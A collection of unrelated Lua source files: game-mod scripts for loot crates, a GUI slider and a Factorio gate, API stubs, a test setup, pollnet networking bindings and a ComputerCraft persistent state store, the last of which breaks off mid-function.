local itemClass = getItemClass(item)
if not itemClass.crateItems then
return
end
takePlayerInventoryItemCount(client, itemName, 1, true)
math.randomseed(getTickCount())
local chance = math.random()
local chanceIndex = 1
for i, c in ipairs(itemClass.crateChances) do
if chance < c[1] then
chanceIndex = i
end
end
local itemIndex = itemClass.crateChances[chanceIndex][2]
if itemClass.crateChances[chanceIndex][2] ~= itemClass.crateChances[chanceIndex][3] then
itemIndex = math.random(itemClass.crateChances[chanceIndex][2], itemClass.crateChances[chanceIndex][3])
end
-- TODO: Вероятности
local newItemName = itemClass.crateItems[itemIndex]
local newItem = createItem(newItemName)
addPlayerInventoryItem(client, newItem, true)
triggerClientEvent(client, "onClientCrateOpened", resourceRoot, newItem.name)
savePlayerAccount(client)
outputDebugString("[ACCOUNTS] Player " .. tostring(client.name) .. "(acc "..tostring(client:getData("username"))..") opened crate " .. tostring(item.name) .. " and got " .. tostring(newItem.name))
end)
addEvent("onPlayerBuyNextCrate", true)
addEventHandler("onPlayerBuyNextCrate", root, function ()
local crateLevel = tonumber(client:getData("crate_level"))
if not crateLevel then
crateLevel = 1
end
local price = getRewardPrice(crateLevel)
if not price then
return
end
local bPoints = client:getData("battlepoints") or 0
if bPoints < price then
return
end
local item = createItem(Config.rewardCrates[math.random(1, #Config.rewardCrates)])
if not isItem(item) then
return
end
if addPlayerInventoryItem(client, item) then
bPoints = bPoints - price
client:setData("battlepoints", bPoints)
triggerClientEvent("onClientCrateReceived", resourceRoot, item.name)
client:setData("crate_level", math.min(#Config.rewardPrices, crateLevel + 1))
outputDebugString("[ACCOUNTS] Player " .. tostring(client.name) .. "(acc "..tostring(client:getData("username"))..",money "..tostring(bPoints)..") buy crate " .. tostring(item.name) .. " for " .. tostring(price))
else
outputDebugString("[ACCOUNTS] Error adding crate to " .. tostring(client.name) .. "(acc "..tostring(client:getData("username"))..",money "..tostring(bPoints)..") " .. tostring(item.name) .. " for " .. tostring(price))
end
end)
|
E2VguiPanels["vgui_elements"]["functions"]["dslider"] = {}
E2VguiPanels["vgui_elements"]["functions"]["dslider"]["createFunc"] = function(uniqueID, pnlData, e2EntityID,changes)
local parent = E2VguiLib.GetPanelByID(pnlData["parentID"],e2EntityID)
local panel = vgui.Create("DNumSlider",parent)
E2VguiLib.applyAttributes(panel,pnlData,true)
local data = E2VguiLib.applyAttributes(panel,changes)
table.Merge(pnlData,data)
--notify server of removal and also update client table
function panel:OnRemove()
E2VguiLib.RemovePanelWithChilds(self,e2EntityID)
end
panel["changed"] = true
function panel:Think()
if panel["changed"] == false then
if input.IsMouseDown(MOUSE_LEFT) == false then --send data to server when the mouse is released
local uniqueID = self["uniqueID"]
if uniqueID != nil then
net.Start("E2Vgui.TriggerE2")
net.WriteInt(e2EntityID,32)
net.WriteInt(uniqueID,32)
net.WriteString("DSlider")
net.WriteTable({
value = math.Round(self:GetValue(),self:GetDecimals())
})
net.SendToServer()
end
panel["changed"] = true
end
end
end
function panel:OnValueChanged(number)
panel["changed"] = false --set flag to false so it waits until you
--stopped editing before sending net-messages
end
if pnlData["color"] ~= nil then
function panel:Paint(w,h)
surface.SetDrawColor(pnlData["color"])
surface.DrawRect(0,0,w,h)
end
end
panel["uniqueID"] = uniqueID
panel["pnlData"] = pnlData
E2VguiLib.RegisterNewPanel(e2EntityID ,uniqueID, panel)
E2VguiLib.UpdatePosAndSizeServer(e2EntityID,uniqueID,panel)
return true
end
E2VguiPanels["vgui_elements"]["functions"]["dslider"]["modifyFunc"] = function(uniqueID, e2EntityID, changes)
local panel = E2VguiLib.GetPanelByID(uniqueID,e2EntityID)
if panel == nil or not IsValid(panel) then return end
local data = E2VguiLib.applyAttributes(panel,changes)
table.Merge(panel["pnlData"],data)
if panel["pnlData"]["color"] ~= nil then
function panel:Paint(w,h)
surface.SetDrawColor(panel["pnlData"]["color"])
surface.DrawRect(0,0,w,h)
end
end
E2VguiLib.UpdatePosAndSizeServer(e2EntityID,uniqueID,panel)
return true
end
--[[-------------------------------------------------------------------------
HELPER FUNCTIONS
---------------------------------------------------------------------------]]
E2Helper.Descriptions["dslider(n)"] = "Creates a new slider with the given index."
E2Helper.Descriptions["dslider(nn)"] = "Creates a new slider with the given index and parents it to the given panel. Can also be a DFrame or DPanel instance."
E2Helper.Descriptions["setColor(xds:v)"] = "Sets the color."
E2Helper.Descriptions["setColor(xds:vn)"] = "Sets the color."
E2Helper.Descriptions["setColor(xds:xv4)"] = "Sets the color."
E2Helper.Descriptions["setColor(xds:nnn)"] = "Sets the color."
E2Helper.Descriptions["setColor(xds:nnnn)"] = "Sets the color."
E2Helper.Descriptions["setText(xds:s)"] = "Sets the text of the Slider."
E2Helper.Descriptions["setMin(xds:n)"] = "Sets the minimum Value"
E2Helper.Descriptions["setMax(xds:n)"] = "Sets the maximum Value."
E2Helper.Descriptions["setDecimals(xds:n)"] = "Hides the close Slider."
E2Helper.Descriptions["setValue(xds:n)"] = "Set the curren Slider Value."
E2Helper.Descriptions["setDark(xds:n)"] = "Sets the Theme of the Slider to the dark Theme."
E2Helper.Descriptions["getColor(xds:e)"] = "Returns the color."
E2Helper.Descriptions["getColor4(xds:e)"] = "Returns the color."
E2Helper.Descriptions["getValue(xds:e)"] = "Gets the current slider value."
E2Helper.Descriptions["getMin(xds:e)"] = "Returns the minimum value."
E2Helper.Descriptions["getMax(xds:e)"] = "Returns the maximum value."
--default functions
E2Helper.Descriptions["setPos(xds:nn)"] = "Sets the position."
E2Helper.Descriptions["setPos(xds:xv2)"] = "Sets the position."
E2Helper.Descriptions["getPos(xds:e)"] = "Returns the position."
E2Helper.Descriptions["setSize(xds:nn)"] = "Sets the size."
E2Helper.Descriptions["setSize(xds:xv2)"] = "Sets the size."
E2Helper.Descriptions["getSize(xds:e)"] = "Returns the size."
E2Helper.Descriptions["setWidth(xds:n)"] = "Sets only the width."
E2Helper.Descriptions["getWidth(xds:e)"] = "Returns the width."
E2Helper.Descriptions["setHeight(xds:n)"] = "Sets only the height."
E2Helper.Descriptions["getHeight(xds:e)"] = "Returns the height."
E2Helper.Descriptions["setVisible(xds:n)"] = "Sets whether or not the the element is visible."
E2Helper.Descriptions["setVisible(xds:ne)"] = "Sets whether or not the the element is visible only for the provided player. This function automatically calls modify internally."
E2Helper.Descriptions["isVisible(xds:e)"] = "Returns whether or not the the element is visible."
E2Helper.Descriptions["dock(xds:n)"] = "Sets the docking mode. See _DOCK_* constants."
E2Helper.Descriptions["dockMargin(xds:nnnn)"] = "Sets the margin when docked."
E2Helper.Descriptions["dockPadding(xds:nnnn)"] = "Sets the padding when docked."
E2Helper.Descriptions["create(xds:)"] = "Creates the element for every player in the player list."
E2Helper.Descriptions["create(xds:r)"] = "Creates the element for every player in the provided list"
E2Helper.Descriptions["modify(xds:)"] = "Applies all changes made to the element for every player in the player's list.\nDoes not create the element again if it got removed!."
E2Helper.Descriptions["modify(xds:r)"] = "Applies all changes made to the element for every player in the provided list.\nDoes not create the element again if it got removed!."
E2Helper.Descriptions["closePlayer(xds:e)"] = "Closes the element on the specified player but keeps the player inside the element's player list. (Also see remove(E))"
E2Helper.Descriptions["closeAll(xds:)"] = "Closes the element on all players in the player's list. Keeps the players inside the element's player list. (Also see removeAll())"
E2Helper.Descriptions["addPlayer(xds:e)"] = "Adds a player to the element's player list.\nThese players will see the object when it's created or modified (see create()/modify())."
E2Helper.Descriptions["removePlayer(xds:e)"] = "Removes a player from the elements's player list."
E2Helper.Descriptions["remove(xds:e)"] = "Removes this element only on the specified player and also removes the player from the element's player list. (e.g. calling create() again won't target this player anymore)"
E2Helper.Descriptions["removeAll(xds:)"] = "Removes this element from all players in the player list and clears the element's player list."
E2Helper.Descriptions["getPlayers(xds:)"] = "Retrieve the current player list of this element."
E2Helper.Descriptions["setPlayers(xds:r)"] = "Sets the player list for this element."
|
--------------------------------------------------------------------------------
-- Reinforced gate --
--------------------------------------------------------------------------------
local reinforcedGate = util.table.deepcopy(data.raw["item"]["gate"])
reinforcedGate.name = "reinforced-gate"
reinforcedGate.icon = nil
reinforcedGate.icon_size = nil
reinforcedGate.icons = LSlib.item.getIcons("item", "gate", 1, {0,0}, require("prototypes/prototype-settings")[reinforcedGate.name]["wall-tint"])
reinforcedGate.order = reinforcedGate.order .. "-b[Reinforced-Walls]-a[" .. reinforcedGate.name .. "]"
reinforcedGate.place_result = reinforcedGate.name
data:extend{reinforcedGate}
|
return {
source = {
location = 'git@bitbucket.org:bazurbat/ast-files.git',
name = 'files'
}
}
|
ccs = ccs or {}
---PositionFrame object
---@class PositionFrame : Frame
local PositionFrame = {}
ccs.PositionFrame = PositionFrame
--------------------------------
--
---@return float
function PositionFrame:getX() end
--------------------------------
--
---@return float
function PositionFrame:getY() end
--------------------------------
--
---@param position vec2_table
---@return PositionFrame
function PositionFrame:setPosition(position) end
--------------------------------
--
---@param x float
---@return PositionFrame
function PositionFrame:setX(x) end
--------------------------------
--
---@param y float
---@return PositionFrame
function PositionFrame:setY(y) end
--------------------------------
--
---@return vec2_table
function PositionFrame:getPosition() end
--------------------------------
--
---@return PositionFrame
function PositionFrame:create() end
--------------------------------
--
---@return Frame
function PositionFrame:clone() end
--------------------------------
--
---@return PositionFrame
function PositionFrame:PositionFrame() end
return PositionFrame
|
local flavor
oil = require "oil"
oil.dtests = {
checks = require "loop.test.checks",
setup = function (flavorspec, hosts)
flavor = flavorspec
local flavorset = {}
for name in flavorspec:gmatch('[^;]+') do
flavorset[name] = true
end
if flavorset['corba.intercepted'] then
flavorset.corba = true
end
oil.dtests.flavor = flavorset
oil.dtests.hosts = hosts
end,
init = function (config)
config = config or {}
config.flavor = flavor
config.options = config.options or {}
config.options.tcp = config.options.tcp or {}
config.options.tcp.reuseaddr = true
if flavor:find("ssl", 1, true) then
config.options.security = "preferred"
config.options.ssl = config.options.ssl or {}
config.options.ssl.key = "../certs/clientAkey.pem"
config.options.ssl.certificate = "../certs/clientAcert.pem"
config.options.ssl.cafile = "../certs/rootA.pem"
end
oil.dtests.orb = oil.init(config)
return oil.dtests.orb
end,
}
return oil.dtests
|
return require('cors')
|
--[[
pollnet bindings for luajit
example usage to read twitch chat:
local pollnet = require("pollnet")
local async = require("async") -- assuming you have some kind of async
async.run(function()
local url = "wss://irc-ws.chat.twitch.tv:443"
local sock = pollnet.open_ws(url)
sock:send("PASS doesntmatter")
-- special nick for anon read-only access on twitch
local anon_user_name = "justinfan" .. math.random(1, 100000)
local target_channel = "your_channel_name_here"
sock:send("NICK " .. anon_user_name)
sock:send("JOIN #" .. target_channel)
while sock:poll() do
local msg = sock:last_message()
if msg then
if msg == "PING :tmi.twitch.tv" then
sock:send("PONG :tmi.twitch.tv")
end
print(msg)
else
async.await_frames(1)
end
end
print("Socket closed: ", sock:last_message())
end)
-- example http get:
async.run(function()
local sock = pollnet.http_get("https://www.example.com")
while sock:poll() do
if sock:last_message() then
print("HTTP STATUS: ", sock:last_message())
break
end
async.await_frames(1)
end
while sock:poll() do
if sock:last_message() then
print("HTTP BODY: ", sock:last_message())
break
end
async.await_frames(1)
end
sock:close()
end)
]]
local ffi = require("ffi")
ffi.cdef[[
struct pnctx* pollnet_init();
struct pnctx* pollnet_get_or_init_static();
void pollnet_shutdown(struct pnctx* ctx);
unsigned int pollnet_open_ws(struct pnctx* ctx, const char* url);
unsigned int pollnet_simple_http_get(struct pnctx* ctx, const char* url);
unsigned int pollnet_simple_http_post(struct pnctx* ctx, const char* url, const char* content_type, const char* data, unsigned int datasize);
void pollnet_close(struct pnctx* ctx, unsigned int handle);
void pollnet_close_all(struct pnctx* ctx);
void pollnet_send(struct pnctx* ctx, unsigned int handle, const char* msg);
unsigned int pollnet_update(struct pnctx* ctx, unsigned int handle);
int pollnet_get(struct pnctx* ctx, unsigned int handle, char* dest, unsigned int dest_size);
int pollnet_get_error(struct pnctx* ctx, unsigned int handle, char* dest, unsigned int dest_size);
unsigned int pollnet_get_connected_client_handle(struct pnctx* ctx, unsigned int handle);
unsigned int pollnet_listen_ws(struct pnctx* ctx, const char* addr);
unsigned int pollnet_serve_static_http(struct pnctx* ctx, const char* addr, const char* serve_dir);
unsigned int pollnet_serve_http(struct pnctx* ctx, const char* addr);
void pollnet_add_virtual_file(struct pnctx* ctx, unsigned int handle, const char* filename, const char* filedata, unsigned int filesize);
void pollnet_remove_virtual_file(struct pnctx* ctx, unsigned int handle, const char* filename);
int pollnet_get_nanoid(char* dest, unsigned int dest_size);
]]
local POLLNET_RESULT_CODES = {
[0] = "invalid_handle",
[1] = "closed",
[2] = "opening",
[3] = "nodata",
[4] = "hasdata",
[5] = "error",
[6] = "newclient"
}
local pollnet = ffi.load("pollnet")
local _ctx = nil
local function init_ctx()
if _ctx then return end
_ctx = ffi.gc(pollnet.pollnet_init(), pollnet.pollnet_shutdown)
assert(_ctx ~= nil)
end
local function init_ctx_hack_static()
if _ctx then return end
_ctx = pollnet.pollnet_get_or_init_static()
assert(_ctx ~= nil)
pollnet.pollnet_close_all(_ctx)
end
local function shutdown_ctx()
if not _ctx then return end
pollnet.pollnet_shutdown(ffi.gc(_ctx, nil))
_ctx = nil
end
local socket_mt = {}
local function Socket()
return setmetatable({}, {__index = socket_mt})
end
function socket_mt:_open(scratch_size, opener, ...)
init_ctx()
if self._socket then self:close() end
scratch_size = scratch_size or 64000
if type(opener) == "number" then
self._socket = opener
else
self._socket = opener(_ctx, ...)
end
self._scratch = ffi.new("int8_t[?]", scratch_size)
self._scratch_size = scratch_size
self._status = "unpolled"
return self
end
function socket_mt:http_get(url, scratch_size)
return self:_open(scratch_size, pollnet.pollnet_simple_http_get, url)
end
function socket_mt:http_post(url, body, content_type, scratch_size)
body = body or ""
content_type = content_type or "application/x-www-form-urlencoded"
return self:_open(scratch_size, pollnet.pollnet_simple_http_post, url, content_type, body, #body)
end
function socket_mt:open_ws(url, scratch_size)
return self:_open(scratch_size, pollnet.pollnet_open_ws, url)
end
function socket_mt:serve_http(addr, dir, scratch_size)
self.is_http_server = true
if dir and dir ~= "" then
return self:_open(scratch_size, pollnet.pollnet_serve_static_http, addr, dir)
else
return self:_open(scratch_size, pollnet.pollnet_serve_http, addr)
end
end
function socket_mt:add_virtual_file(filename, filedata)
assert(filedata)
local dsize = #filedata
pollnet.pollnet_add_virtual_file(_ctx, self._socket, filename, filedata, dsize)
end
function socket_mt:remove_virtual_file(filename)
pollnet.pollnet_remove_virtual_file(_ctx, self._socket, filename)
end
function socket_mt:listen_ws(addr, scratch_size)
return self:_open(scratch_size, pollnet.pollnet_listen_ws, addr)
end
function socket_mt:on_connection(f)
self._on_connection = f
return self
end
function socket_mt:_get_message()
local msg_size = pollnet.pollnet_get(_ctx, self._socket, self._scratch, self._scratch_size)
if msg_size > 0 then
return ffi.string(self._scratch, msg_size)
else
return nil
end
end
function socket_mt:poll()
if not self._socket then
self._status = "invalid"
return false, "invalid"
end
local res = POLLNET_RESULT_CODES[pollnet.pollnet_update(_ctx, self._socket)] or "error"
self._status = res
self._last_message = nil
if res == "hasdata" then
self._status = "open"
self._last_message = self:_get_message()
return true, self._last_message
elseif res == "nodata" then
self._status = "open"
return true
elseif res == "opening" then
self._status = "opening"
return true
elseif res == "error" then
self._status = "error"
self._last_message = self:error_msg()
return false, self._last_message
elseif res == "closed" then
self._status = "closed"
return false, "closed"
elseif res == "newclient" then
self._status = "open"
local client_addr = self:_get_message()
local client_handle = pollnet.pollnet_get_connected_client_handle(_ctx, self._socket)
assert(client_handle > 0)
local client_sock = Socket():_open(self._scratch_size, client_handle)
client_sock.parent = self
client_sock.remote_addr = client_addr
if self._on_connection then
self._on_connection(client_sock, client_addr)
else
print("No connection handler! All incoming connections will be closed!")
client_sock:close()
end
return true
end
end
function socket_mt:last_message()
return self._last_message
end
function socket_mt:status()
return self._status
end
function socket_mt:send(msg)
assert(self._socket)
pollnet.pollnet_send(_ctx, self._socket, msg)
end
function socket_mt:close()
assert(self._socket)
pollnet.pollnet_close(_ctx, self._socket)
self._socket = nil
end
function socket_mt:error_msg()
if not self._socket then return "No socket!" end
local msg_size = pollnet.pollnet_get_error(_ctx, self._socket, self._scratch, self._scratch_size)
if msg_size > 0 then
local smsg = ffi.string(self._scratch, msg_size)
return smsg
else
return nil
end
end
local function open_ws(url, scratch_size)
return Socket():open_ws(url, scratch_size)
end
local function listen_ws(addr, scratch_size)
return Socket():listen_ws(addr, scratch_size)
end
local function serve_http(addr, dir, scratch_size)
return Socket():serve_http(addr, dir, scratch_size)
end
local function http_get(url, scratch_size)
return Socket():http_get(url, scratch_size)
end
local function http_post(url, body, content_type, scratch_size)
return Socket():http_post(url, body, content_type, scratch_size)
end
local function get_nanoid()
local _id_scratch = ffi.new("int8_t[?]", 128)
local msg_size = pollnet.pollnet_get_nanoid(_id_scratch, 128)
return ffi.string(_id_scratch, msg_size)
end
return {
init = init_ctx,
init_hack_static = init_ctx_hack_static,
shutdown = shutdown_ctx,
open_ws = open_ws,
listen_ws = listen_ws,
serve_http = serve_http,
http_get = http_get,
http_post = http_post,
Socket = Socket,
pollnet = pollnet,
nanoid = get_nanoid,
}
|
--- This module allows for a single redux-style store of state which can be
-- persisted through restarts. In addition to reducers, oeprations which
-- effect the external state of the turtle (global location and direction,
-- other blocks) require unidirectional actionators and discriminators.
-- An actionator simply performs the action that causes the external state
-- to match the state that we will be in after the reducer. In the case we
-- restart and are not sure if we completed the action or not, we will run
-- through the discriminators. If the discriminators fail to determine if the
-- action was completed, then the store is corrupted and an error is thrown.
--
-- Listeners don't work as well and aren't as helpful as in redux because we
-- dont anticipate UI components and we wouldn't be able to recover listeners
-- (we could only do as good as ensuring it ran at least once and not more than
-- twice)
--
-- The data flow is as follows
--
-- 1. store:dispatch(action)
-- describes either what were about to do (if an actionator is attached)
-- or what we just did (if no actionator is attached)
-- 2. If there is an actionator for this action, then:
-- Indexed files: filen, .actionating, .post, .list, .list.latest
-- * indicates corruption guarrantees this line
-- 1,4
-- Store action in filen .. '.actionating' 1,2*,4
-- Run actionator 1,2,4
-- Touch filen .. '.post' 1,2,3,4
-- Write new action list to .. '.list.latest' 1,2,3,4,5*
-- Delete .. '.list' 1,2,3,5
-- Delete '.post' 1,2,5
-- Copy .. '.list.latest' to .. '.list' 1,2,4*,5
-- Delete '.actionating' 1,4,5
-- Delete .. '.list.latest' 1,4
-- If the list is too long, clean and save
-- 3. Call the reducer to update state
-- 4. Store new state in a fail-safe way
local state = {}
--- An application using this style of state management should have a single
-- shared Store. Throughout the state, when actions are used as keys we mean
-- the action type.
--
-- Instance Variables
-- filen string where we store the state. we will suffix this file for other
-- temporary files / working space.
--
-- reducer function (state, action) => state used to determine the new state
-- after an action. Should not modify the arguments
--
-- actionators table (action -> function(action)) performs the action which
-- modifies the external state of the world
--
-- discriminators table (action -> table[function]) the functions which are
-- capable of determining if we are before/after an action. The functions
-- should accept action, a list of possible states and a boolean, and return
-- a new list of possible states. If the boolean is true, it's possible that
-- the real state is not in the list of possible states, and is typically
-- called 'corrupted'. Once a discriminator narrows the list to 1 element, we
-- have successfully recovered.
--
-- raw table the actual underlying store
--
-- _list table contains actions which we have stored to the .list instead of
-- replacing the current store.
local Store = {}
local function _touch(filen)
local h = fs.open(filen, 'w')
h.write('\n')
h.close()
end
--- Constructs an uninitialized store. Should be treated as a
-- private constructor.
function Store:_init()
local o = {}
setmetatable(o, self)
self.__index = self
return o
end
--- Initializes an empty store with the given reducer an actionators. This does
-- not save - call clean_and_save for that.
-- @param filen string the path to the root file that we will store information
-- in. We will suffix this file for working space
-- @param reducer function (state, action) => state without modifying arguments
-- @param actionators table (action -> function). We use this method rather
-- than the reducer because we do a lot of I/O for actionators that can be
-- skipped if they are a no-op. We pass the actionator the action to perform.
-- @param discriminators table (action -> table[function]). Each discriminator
-- function accepts an action and list of possible Stores and returns a new
-- list of possible stores. Discriminators should attempt to only return a
-- subset of the passed states, but this is not enforced and not always
-- possible. A third boolean argument may also be passed - corrupted - which is
-- true if we are recovering from a previous discriminator and may have been
-- corrupted. Some discriminators can recover even from corruption if they have
-- an external source of ground truth (i.e., gps)
-- @param init_raw the initial raw store; may be a function in which case it
-- is invoked, otherwise should be a table.
function Store:new(filen, reducer, actionators, discriminators, init_raw)
local o = Store:_init()
o.filen = filen
o.reducer = reducer
o.actionators = actionators
o.discriminators = discriminators
if type(init_raw) == 'table' then
o.raw = init_raw
else
o.raw = init_raw()
end
o._list = {}
return o
end
--- Serializes a single action to the given file.
function Store:_serialize_action(filen, act)
local serd = textutils.serialize(act)
local h = fs.open(filen, 'w')
h.write(serd)
h.close()
end
--- Serializes the store to the given file. This only stores 'raw'
-- @param filen string where to save
function Store:_serialize(filen)
local serd = textutils.serialize(self.raw)
local h = fs.open(filen, 'w')
h.write(serd)
h.close()
end
--- Serializes the action list to the given file.
-- @param filen string where to save the _list
function Store:_serialize_list(filen)
local serd = textutils.serialize(self._list)
local h = fs.open(filen, 'w')
h.write(serd)
h.close()
end
--- Deserializes the action stored in the given file
-- @param filen the file the action is stored in
-- @return nil if the file is corrupted, otherwise the action
function Store:_deserialize_action(filen)
if not fs.exists(filen) then return nil end
local h = fs.open(filen, 'r')
local txt = h.readAll()
h.close()
return textutils.unserialize(txt)
end
--- Deserializes the store in the given file with the arguments that were
-- passed to construct it.
-- @param real_filen string where to load the store from
-- @param filen string same as new
-- @param reducer same as new
-- @param actionators same as new
-- @param discriminators same as new
-- @return Store the store that was saved or nil if its corrupted
function Store:_deserialize(real_filen, filen, reducer, actionators,
discriminators)
if not fs.exists(real_filen) then return nil end
local h = fs.open(real_filen, 'r')
local txt = h.readAll()
h.close()
local raw = textutils.unserialize(txt)
if raw == nil then return nil end
return Store:new(filen, reducer, actionators, discriminators, raw)
end
--- Deserializes the action list stored in the given file
-- @param filen string same as passed to _serialize_list
-- @return the stored action list or nil if its corrupted
function Store:_deserialize_list(filen)
if not fs.exists(filen) then return nil end
local h = fs.open(filen, 'r')
local txt = h.readAll()
h.close()
return textutils.unserialize(txt)
end
--- Deserializes the store which is stored in the given file with the given
-- list file. This applies the queued actions in the list to the raw store
-- in the real file.
-- @param real_filen where the outdated store is
-- @param list_filen where the list to update the store is
-- @param filen same as new
-- @param reducer same as new
-- @param actionators same as new
-- @param discriminators same as new
-- @return the store or nil if one of the files is corrupted
function Store:_deserialize_with_list(real_filen, list_filen, filen, reducer,
actionators, discriminators)
local store = Store:_deserialize(
real_filen, filen, reducer, actionators, discriminators)
if store == nil then return nil end
local _list = Store:_deserialize_list(list_filen)
if _list == nil then return nil end
for _, act in ipairs(_list) do
store.raw = reducer(store.raw, act)
end
store._list = _list
return store
end
--- Cleans the directory and saves the store. This will empty the written
-- action list, ensuring future actions are as fast as possible (until the
-- list starts to fill up again). This assumes that if .. '.bak2' exists
-- then it contains this store.
function Store:clean_and_save()
if not fs.exists(self.filen .. '.bak2') then
self:_serialize(self.filen .. '.bak2')
end
fs.delete(self.filen)
fs.delete(self.filen .. '.actionating')
fs.delete(self.filen .. '.post')
fs.delete(self.filen .. '.list')
fs.delete(self.filen .. '.list.latest')
fs.delete(self.filen .. '.list.recovery')
fs.delete(self.filen .. '.discriminating')
fs.copy(self.filen .. '.bak2', self.filen)
fs.delete(self.filen .. '.bak2')
self._list = {}
self:_serialize_list(self.filen .. '.list')
end
-- Deletes all store-related files. This prevents recovery
function Store:clean()
self:clean_and_save()
fs.delete(self.filen .. '.list')
fs.delete(self.filen)
end
--- This can be called to save the _list to .list.recovery, delete .list,
-- copy .list.recovery to .list, and then delete .list.recovery. This assumes
-- we do not need to write to .list.recovery if it already exists.
function Store:_update_saved_list()
if not fs.exists(self.filen .. '.list.recovery') then
self:_serialize_list(self.filen .. '.list.recovery')
end
fs.delete(self.filen .. '.list')
fs.copy(self.filen .. '.list.recovery', self.filen .. '.list')
fs.delete(self.filen .. '.list.recovery')
end
--- Recovers the store that was initialized with the given arguments. This may
-- be used for the initial construction of the store as that can be detected.
-- The arguments are the same as to new()
-- @return the store we are in
-- @error if we cannot uniquely determine the store
function Store:recover(filen, reducer, actionators, discriminators, init_raw)
if fs.exists(filen .. '.bak2') then
local store = Store:_deserialize(
filen .. '.bak2', filen, reducer, actionators, discriminators)
if store then return store end
end
if fs.exists(filen) and fs.exists(filen .. '.list.recovery') then
local store = Store:_deserialize(
filen, filen, reducer, actionators, discriminators
)
if not store then
error('impossible corruption with .list.recovery')
end
local _list = Store:_deserialize_list(filen .. '.list.recovery')
if _list then
for _, act in ipairs(_list) do
store.raw = reducer(store.raw, act)
end
store._list = _list
return store
end
end
local _exists = fs.exists(filen)
if not _exists then
return Store:new(
filen, reducer, actionators, discriminators, init_raw
)
end
local actionator_exists = fs.exists(filen .. '.actionating')
local post_exists = fs.exists(filen .. '.post')
local list_exists = fs.exists(filen .. '.list')
local list_latest_exists = fs.exists(filen .. '.list.latest')
-- Possible file states, each of which is handled in exactly one statement
-- (else could be removed without changing effective logic)
-- 1,2*,4 | 1,2,4 | 1,2,3,4
-- 1,2,3,4,5* | 1,2,3,5 | 1,2,5
-- 1,2,4*,5 | 1,4,5 | 1,4
if _exists and not actionator_exists and not post_exists and list_exists and not list_latest_exists then
-- 1,~2,~3,4,~5; matches 1,4 only
-- standard recovery
local store = Store:_deserialize_with_list(
filen, filen .. '.list', filen, reducer, actionators, discriminators
)
if not store then error('impossible corruption with 1,4') end
return store
elseif _exists and actionator_exists and not post_exists and list_exists and not list_latest_exists then
-- 1,2,~3,4,~5; matches 1,2*,4 and 1,2,4
-- corruption or ambiguous pre/post actionator
local act = Store:_deserialize_action(filen .. '.actionating')
local before = Store:_deserialize_with_list(
filen, filen .. '.list', filen, reducer, actionators, discriminators
)
if before == nil then error('impossible corrupton of 1,4 with 1,2*,4') end
if act == nil then return before end
local corrupted = fs.exists(filen .. '.discriminating')
if not corrupted then
_touch(filen .. '.discriminating')
end
-- Ambiguous! we could be before or after
local after = Store:new(filen, reducer, actionators, discriminators, reducer(before.raw, act))
after._list = before._list
local poss = {before, after}
local discrims = discriminators[act.type] or {}
for dind, discrim in ipairs(discrims) do
poss = discrim(act, poss, corrupted)
if poss == nil or #poss == 0 then
error('discrim ' .. tostring(dind) .. ' returned no poss')
end
if #poss == 1 then return poss[1] end
end
error('Failed to disambiguate possibilities: before/after '
.. textutils.serialize(act))
elseif _exists and actionator_exists and post_exists and list_exists and not list_latest_exists then
-- 1,2,3,4,~5; matches 1,2,3,4 only
-- use base + list + actionator
local store = Store:_deserialize_with_list(
filen, filen .. '.list', filen, reducer, actionators, discriminators
)
if store == nil then
error('impossible corruption of 1,4 with 1,2,3,4')
end
local act = Store:_deserialize_action(filen .. '.actionating')
if act == nil then
error('Impossible corruption of 2 with 1,2,3,4')
end
store._list[#store._list + 1] = act
store.raw = reducer(store.raw, act)
return store
elseif _exists and (actionator_exists or post_exists) and list_latest_exists then
-- 1,2|3,4|~4,5; matches 1,2,3,4,5*; 1,2,3,5; 1,2,5; 1,2,4*,5
-- use base + list.latest if list.latest is not corrupted, otherwise use
-- base + list + actionator
local list_latest = Store:_deserialize_list(filen .. '.list.latest')
if list_latest == nil then
local store = Store:_deserialize_with_list(
filen, filen .. '.list', filen, reducer, actionators, discriminators
)
if store == nil then
error('impossible corruption of 1,4 with 1,2,3,4,5(cor)')
end
local act = Store:_deserialize_action(filen .. '.actionating')
if act == nil then
error('Impossible corruption of 2 with 1,2,3,4,5(cor)')
end
store._list[#store._list + 1] = act
store.raw = reducer(store.raw, act)
return store
end
local store = Store:_deserialize(
filen, filen, reducer, actionators, discriminators
)
if store == nil then
error('impossible corruption of 1 with 1,2,3,4,5')
end
for _, v in ipairs(list_latest) do
store.raw = reducer(store.raw, v)
end
store._list = list_latest
return store
elseif _exists and not actionator_exists and not post_exists and list_exists and list_latest_exists then
-- Matches 1, 4, 5
-- use base + list
local store = Store:_deserialize_with_list(
filen, filen .. '.list', filen, reducer, actionators, discriminators
)
if store == nil then
error('impossible corruption of 1 with 1,4,5')
end
return store
else
error('strange combination: '
.. textutils.serialize({_exists, actionator_exists, post_exists,
list_exists, list_latest_exists}))
end
end
--- Dispatches the given action. This will call the attached actionator if
-- there is one, then update the state of the store. Not really dispatching,
-- but keeps the familiar name from Redux
-- @param action the pure action table to perform. Must have a 'type' key.
-- @param fail_at should always be nil in production, otherwise a number
-- 1 through 8 for what failure scenario to simulate.
function Store:dispatch(action, fail_at)
if type(action) ~= 'table' then
error('actions should be tables, got ' .. tostring(action))
end
if type(action.type) ~= 'string' then
error('action is missing type: ' .. textutils.serialize(action))
end
local typ = action.type
if self.actionators[typ] then
Store:_serialize_action(self.filen .. '.actionating', action)
if fail_at == 1 then return end
self.actionators[typ](action)
if fail_at == 2 then return end
_touch(self.filen .. '.post')
if fail_at == 3 then return end
self.raw = self.reducer(self.raw, action)
self._list[#self._list + 1] = action
self:_serialize_list(self.filen .. '.list.latest')
if fail_at == 4 then return end
fs.delete(self.filen .. '.list')
if fail_at == 5 then return end
fs.delete(self.filen .. '.post')
if fail_at == 6 then return end
fs.copy(self.filen .. '.list.latest', self.filen .. '.list')
if fail_at == 7 then return end
fs.delete(self.filen .. '.actionating')
if fail_at == 8 then return end
fs.delete(self.filen .. '.list.latest')
else
self.raw = self.reducer(self.raw, action)
self._list[#self._list + 1] = action
self:_update_saved_list()
end
if #self._list > 1 and fs.getSize(self.filen .. '.list') > 128 * 1028 then
self:clean_and_save()
end
end
state.Store = Store
--- Combines the given table of reducers into a single reducer which
-- uses the keys in the table as the keys in the global state space.
-- @param table a table where the keys are strings and the values
-- are reducer functions
-- @return function a single function which combines all the given
-- reducers.
function state.combine_reducers(reducers)
local function result(raw, act)
if raw == nil or act == nil then
error('raw/act is nil', 2)
end
local result = {}
for k, v in pairs(reducers) do
if raw[k] == nil then
